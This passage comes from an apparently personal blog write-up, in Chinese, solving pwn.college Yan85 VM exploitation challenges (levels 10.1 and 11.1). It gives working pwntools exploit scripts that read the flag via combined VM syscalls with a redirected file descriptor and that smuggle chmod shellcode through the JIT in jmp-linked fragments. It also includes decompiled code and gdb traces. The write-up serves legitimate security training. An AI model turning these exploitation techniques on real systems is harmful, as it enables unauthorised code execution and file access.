sys_opcode = {'open': 0x08, 'read_code': 0x04, 'read_memory': 0x01, 'write': 0x20, 'sleep': 0x02, 'exit': 0x10}

# 0x{value}{reg_x}{opcode}
# 0x{reg_x}{sys_opcode}{opcode}
# open
shellcode = pack(0x66, reg['c'], opcode['imm'])
shellcode += pack(reg['c'], reg['d'], opcode['stm'])
shellcode += pack(0x00, reg['b'], opcode['imm'])
shellcode += pack(0x00, reg['a'], opcode['imm'])
shellcode += pack(reg['a'], sys_opcode['open'], opcode['sys'])
# read
shellcode += pack(reg['c'],sys_opcode['read_memory'],opcode['sys'])
# write
shellcode += pack(0x01, reg['a'], opcode['imm'])
shellcode += pack(reg['a'],sys_opcode['write'], opcode['sys'])
# exit
shellcode += pack(0x00, reg['a'], opcode['imm'])
shellcode += pack(reg['a'],sys_opcode['exit'], opcode['sys'])
# read_memory from stdin
yancode = pack(0x00, reg['a'], opcode['imm'])
yancode += pack(0xff, reg['b'], opcode['imm'])
yancode += pack(43, reg['c'], opcode['imm'])
yancode += pack(reg['a'], sys_opcode['read_memory'], opcode['sys'])
p.send(yancode)

p.send(b'a'+yancode+shellcode)
p.interactive()

level 10.1

yancode区和memory区恢复正常了,也就是现在能够溢出到返回地址。但是同样限制一个sys操作。(脑子轴了,就一直觉得简单,但是想好久)。一个sys可以同时执行openread_memorywrite。因为它们在interpret_sys中是按序出现的,且一个字节可以同时满足这三个系统调用的条件。那么这里的核心就是三者的返回值的关系了。

首先open会返回fd。可以控制返回值存储的把它放在reg_a中,然后调用read_memory的时候会以reg_afd读取,读到yan_memory中后,返回值依然存储于reg_a中,这个返回值是flag的长度+1,因为结尾有\n。所以,在write的时候,fd是flag的长度,而不是1使其打印于终端。因此,我们需要绑定某个文件在固定的fd上,使得write输出到指定的文件中。

由于process()的特性(加上参数close_fds=False,rob课上讲过了),以及exec 57<>a能够绑定文件a的fd为57

pwntools的process()实际上是对python的subprocess的封装,也就是fork一个子进程执行目标程序。默认情况下,子进程的fd空间会继承父进程的fd空间,但由于close_fds的默认值为True,因此使用process时,子进程不会继承fd空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context(arch="amd64",os="linux",log_level="info",terminal=['tmux','splitw','-h'])
# context.log_level = 'debug'


def pack(a1, a2, a3):
# 0x{a1}{a2}{a3}
# 由于顺序会变,三个参数的含义不同,所以pack仅做打包
return p8(a3) + p16((a1<<8) + a2) # 注意小端序的pack方式


# p = gdb.debug("/tmp/toddlerone-level-10-0", "b *$rebase(0x2071)")
p = process("/challenge/toddlerone-level-10-1", close_fds=False)

reg = {'a': 64, 'b': 32, 'c': 1, 'd': 8, 's': 2, 'i': 4, 'f': 16}
opcode = {'imm': 0x01, 'add': 0x40, 'stk': 0x20, 'stm': 0x10, 'ldm': 0x02, 'cmp': 0x08, 'jmp': 0x04, 'sys': 0x80}
sys_opcode = {'open': 0x04, 'read_code': 0x10, 'read_memory': 0x02, 'write': 0x01, 'sleep': 0x20, 'exit': 0x08}

# open & read & write
yancode = pack(reg['c'], 0x66, opcode['imm'])
yancode += pack(reg['d'],reg['c'], opcode['stm'])
yancode += pack(reg['b'], 0x00, opcode['imm'])
yancode += pack(reg['a'], 0x00, opcode['imm'])
yancode += pack(sys_opcode['open'] | sys_opcode['read_memory'] | sys_opcode['write'], reg['a'], opcode['sys'])
# pause()
p.send(yancode)

p.interactive()

level11.1

yan85变成了yan85_64,整体的yancode发生了变化。之前的类似一个三字节解释器,分割输入并以三字节为基准解释行为。

1
addr = mmap((void *)0x1337000, 0x1000uLL, 7, 34, 0, 0LL);

在地址0x1337000处请求分配一页(4KB)匿名、权限为rwx的内存,且该映射是私有的(不与任何文件关联,且仅当前进程可见)。addr保存着映射内存区域的起始地址。

同理,有个Loop前的启动函数emit_program(s),在进入指令解析前,有一个一个初始化:

1
2
3
4
5
6
7
8
v11 = *(_QWORD *)(a1 + 0x2000);
v1 = helper_mov_imm(a1, v11, 64LL, 0LL);
v2 = helper_mov_imm(a1, v1, 2LL, 0LL);
v3 = helper_mov_imm(a1, v2, 4LL, 0LL);
v4 = helper_mov_imm(a1, v3, 32LL, 0LL);
v5 = helper_mov_imm(a1, v4, 8LL, 0LL);
v6 = helper_mov_imm(a1, v5, 16LL, 0LL);
v12 = (_BYTE *)helper_mov_imm(a1, v6, 1LL, 0LL);

看看helper_mov_imm()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
_QWORD *__fastcall helper_mov_imm(__int64 a1, _BYTE *a2, __int64 a3, __int64 a4)
{
_QWORD *v5; // [rsp+10h] [rbp-10h]
switch ( a3 )
{
case 64LL:
*a2 = 73;
a2[1] = -70;
v5 = a2 + 2;
break;
case 2LL:
...
default:
crash(a1, "Unknown register in emit_imm");
}
*v5 = a4;
return v5 + 1;
}

还是gdb吧,简单而直接。简单调试就能够发现v11指向的是addrs[0x2000]保存着addr,也就是mmap申请内存的起始地址。经过v1 = helper_mov_imm(a1, v11, 64LL, 0LL);后,映射内存的状态:

1
2
3
4
5
pwndbg> x/x 0x1337000
0x1337000: 0x0000ba49
pwndbg> tele 0x1337000
00:00000x1337000 ◂— movabs r10, 0 /* 0xba49 */
01:00080x1337008 ◂— 0

执行初始化后的映射内存状态:

根据最后JIT的结果,发现寄存器abcdsf i会被一一对应于r10/r11/r12/r13/r14/r15 /r9寄存器。是因为机器指令的对应关系。

image-20250510203051677

进入循环时,v12指向了0x1337046。先执行:

1
*(_QWORD *)(a1 + 8 * (i + 1024LL) + 8) = &v12[-*(_QWORD *)(a1 + 0x2000)];

s+0x2000保存着0x1337000,也就是映射内存的起始地址。这里将当前v12基于0x137000的偏移地址存入s+0x2008中,并且每一次循环都依次存入后续位置。紧接着执行:

1
2
3
4
*v12 = 73;
v13 = v12 + 1;
*v13++ = -57;
*v13++ = -63;

也是写入一个指令:

同样看一下JIT的结果:

image-20250510203642334

机器指令对应的汇编为mov r9, 0

然后看调用yan85_64解释器的参数构成:

1
2
3
4
5
6
7
8
9
10
v12 = (_BYTE *)emit_instruction(
a1,
(int)v13 + 4,
i,
a1,
v7,
v8,
*(_QWORD *)(a1 + 24LL * i),
*(_QWORD *)(a1 + 24LL * i + 8),
*(_QWORD *)(a1 + 24LL * i + 16));

最后三个参数是用户输入的yancode,三个8字节数据(此前yan85是三个1字节数据)。

查看emit_instruction()中是按照哪个参数进行解析的:

1
2
if ( (a9 & 4) != 0 )
v10 = (_BYTE *)emit_imm(a1, (_DWORD)a2, (_DWORD)a2, a4, a5, a6, a7, a8);

opcode是a9,也就是每第三个8字节数据。具体的函数就不逐一分析了。做个汇总:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# imm
# usage: {reg_x}{value}{opcode}
# list [a: -70(0xba), b: -69(0xbb), c: -68(0xbc), d: -67(0xbd), s: -66(0xbe), i: -71(0xb9), f:-65(0xbf)]
# 0x1337xxx: 0x{value}{reg_x:0xb9~0xbf}{73} => 机器指令
# mov reg_x, value

# add
# usage: {reg_x}{reg_y}{opcode}
# add reg_x, reg_y

# stk
# push usgae: {00}{reg_x}{opcode}
# push reg_x
# pop usage: {reg_x}{00}{opcode}
# pop reg_x

# stm
# usage: {reg_x}{reg_y}{opcode}
# mov [memory+reg_x], reg_y

# ldm
# usage: {reg_x}{reg_y}{opcode}
# mov reg_x, [memory+reg_y]

# jmp
# usage: {00}{stack_addr + reg_x}{opcode}

最后有一个关键:

1
((void (*)(void))addr)();

**这行代码会跳转到地址0x1337000并开始执行那里的机器码。**也就是说,我们通过yancode操作并生成0x137000处的机器码,并且最后会执行这些机器码。

关于Yan85_64说明:

它拥有自己的架构,包含各种数据段。它的核心是根据yancode操纵mmap生成的内存映射段0x1337000~0x1338000。其模拟寄存器abcdsif对应真实程序寄存器r10,r11,r12,r13,r14,r9,r15

Yan85类似,它的指令拥有着自己的数据段。我们能操纵的只有偏移地址!

imm指令中,将立即数存入模拟寄存器中。stk指令中,用一段栈空间模拟出一个Yan85栈区。

stm指令中,将某个寄存器的值,存入到Yan85数据区,可以用一个寄存器来控制偏移。

jmp指令中,模拟RIP寄存器,在JMP指令偏移区中存储着0x1337000段机器指令的偏移地址。但我们给予jmp指令的参数是一个寄存器,这个寄存器的值是JMP指令偏移区的索引。例如,要跳转到0x1337000段的第一条指令,则给jmp指令的寄存器中的值为0,第二条指令则为1,以此类推…

关于Yan85_64的拥有的段:yancode段,stack段,data段,jmp偏移段。这几个段的偏移地址是不变的。因此段与段之间的距离是固定的

通过gdb能够轻易得出data段和jmp偏移段的距离0x808。我们能够操纵8字节数据作为偏移量,因此可以轻易使用stm指令在stack/data/jmp段内写入任意数据。但遗憾的是,本题程序的stack不可执行。

可以将shellcode分段存储于0x1337000内,然后通过stm指令控制jmp段,再通过jmp指令跳转到0x1337000段内构造的部分shellcode,每部分shellcode执行结束后都有一个jmp指令连接下一部分shellcode以间接的形式执行shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context(arch="amd64",os="linux",log_level="info",terminal=['tmux','splitw','-h'])
# context.log_level = 'debug'


def pack(a7, a8, a9):
# memory:
# {a7}
# {a8}
# {a9}
return p64(a7) + p64(a8) + p64(a9)

# p = gdb.debug("/tmp/toddlerone-level-11-1", "b *$rebase(0x2ad0)")
p = process("/challenge/toddlerone-level-11-1", close_fds=False)

reg = {'a': 1, 'b': 16, 'c': 32, 'd': 8, 's': 2, 'i': 64, 'f': 4}
opcode = {'imm': 0x20, 'add': 0x02, 'stk': 0x01, 'stm': 0x40, 'ldm': 0x10, 'cmp': 0x04, 'jmp': 0x08, 'sys': 0x80}

# shellcode
shellcode = asm(shellcraft.chmod("f", 0o777)) # len: 16
shellcode = [shellcode[0:5], shellcode[5:11], shellcode[11:]]


stm_to_jmp_offset = 0x808
shellcode_offset = [0x139+5, 0x182+4, 0x1cb+5]
offset = 0x900
yancode = b''

# overwrite STM seg
for i in range(len(shellcode_offset)):
offset += 8
yancode += pack(reg['a'], offset, opcode['imm'])
yancode += pack(reg['b'], shellcode_offset[i], opcode['imm'])
yancode += pack(reg['a'], reg['b'], opcode['stm'])

# overwrite JMP'index seg
shellcode_offset_index = 32
yancode += pack(reg['i'], shellcode_offset_index, opcode['imm'])
for i in range(len(shellcode)):
yancode += pack(reg['a'], u64(shellcode[i].rjust(8, b'\x00')), opcode['imm'])
shellcode_offset_index += 1
yancode += pack(reg['i'], shellcode_offset_index, opcode['imm'])

p.send(yancode)
p.interactive()

pwn.college: Program Exploitation
https://loboq1ng.github.io/2025/05/11/pwn-college-Program-Exploitation/
作者
Lobo Q1ng
发布于
2025年5月11日
许可协议